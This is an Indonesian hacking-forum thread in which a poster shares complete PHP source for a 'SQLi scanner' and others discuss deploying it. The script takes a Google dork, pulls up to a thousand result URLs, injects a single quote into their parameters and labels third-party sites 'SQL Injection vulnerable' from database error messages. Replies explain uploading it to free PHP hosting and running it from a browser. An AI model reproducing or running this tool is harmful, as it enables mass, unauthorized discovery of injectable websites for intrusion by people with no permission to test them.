Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Tanya]Scanner SQLI
#11
Quote:<html>
<head>
<title>||==Sohai SQLi Scaner ==||</title>
<link rel="SHORTCUT ICON" type="image/x-icon" href="http://i1215.photobucket.com/albums/cc512/sohai11/th_489tg7.gif">
<style>
body{
background: #000000;
color: #00FF00;
font-family: monospace;
font-size: 12px;
}

input{
background: #0F0F0F;
border: 1px solid #00FF00;
color: #00FF00;
}

h2{
color: #55FF2A;
}

a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }

</style>

</head>
<body>

<p align="center">
<?php
echo "<h2>Sohai SQLi Scanner</h2>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:news.php?id='></p>";
echo "<input type='submit' value='Search'>";
echo "<hr><br />";

if($_POST['dork']) {

@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');

$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";

$i = 0;
$a = 0;
$b = 0;

while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork']."</b> ]<br />";
echo "Getting result from google...<br />";
flush(); ob_flush();

preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Scanning...<br />";
flush(); ob_flush();
while(9) {

if(preg_match("/You have an error in your SQL','Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function','Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>SQL Injection vulnerable</font><br />";
} else {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Failed</font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-1) {
echo "Done<br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}

function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}

function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}

?>
</p>
<p align="center">||== Sohai Was Here ==||</p>
<p align="center"> </p>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-12744915-4");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
<center><font color=#00FF00><script type="text/javascript" src="http://st1.freeonlineusers.com/on2.php?id=203663"> </script> Yang Lagi Nyecan</font></center>
</html>
klo yg sering ane pake si ini,lgyan bukannya ada ya di HN script scanner sqli soalnya ane pernah nemuin thread nya dan seharus nya di searching dulu kk.

dan ngk bakal bisa om di pasang di blog
Code:
root@sohai:cat info.txt ~#To all script kiddies ~#changing the "made by" or "recoded by" "coded by" ~#wont make you the coder! ~#Respect the coder! ~#It's all opensource for Development not for plagiarism ~#I am pround to be Underground Coder
Reply
#12
@om sohai trus scriptnya di apain tuh om???? :)
MY BLOG>>>>>>>>>>MANIAC BLOG
>>>>>>>>>>CODE-HACKING
Reply
#13
(08-14-2011, 11:22 PM)Madman Wrote: @om sohai trus scriptnya di apain tuh om???? :)

save ke extensi .php
ntr tinggal upload script ntr lgsung jalanain di url lewat browser
Code:
root@sohai:cat info.txt ~#To all script kiddies ~#changing the "made by" or "recoded by" "coded by" ~#wont make you the coder! ~#Respect the coder! ~#It's all opensource for Development not for plagiarism ~#I am pround to be Underground Coder
Reply
#14
ohh gitu ya...thx om...tapi ane ga punya hostingan
MY BLOG>>>>>>>>>>MANIAC BLOG
>>>>>>>>>>CODE-HACKING
Reply
#15
Gan kalau sqli mirip
http://revtan.site40.net/scanner/index.php << ada gak minta dunk URL NYA
soalnya revtan gak aktif lagi.!!!1
Reply
#16
I'm Study Manufacturing Engineering
Reply
#17
trus hostingan yang cocok untuk Scanner SQLi apaan bg ??
Follow My Blog: Minang Cyber

[Image: 893_peraturan.png]
Reply
#18
di 000webhost bs tuh kyk revtan...
rasa-ny yg penting PHP sm cURL...
kekekekekeke...
I'm Study Manufacturing Engineering
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Tanya Soal SQLi Scanner ecookies 28 481 01-12-2012, 05:53 PM
Last Post: ecookies

Forum Jump:


Users browsing this thread: 1 Guest(s)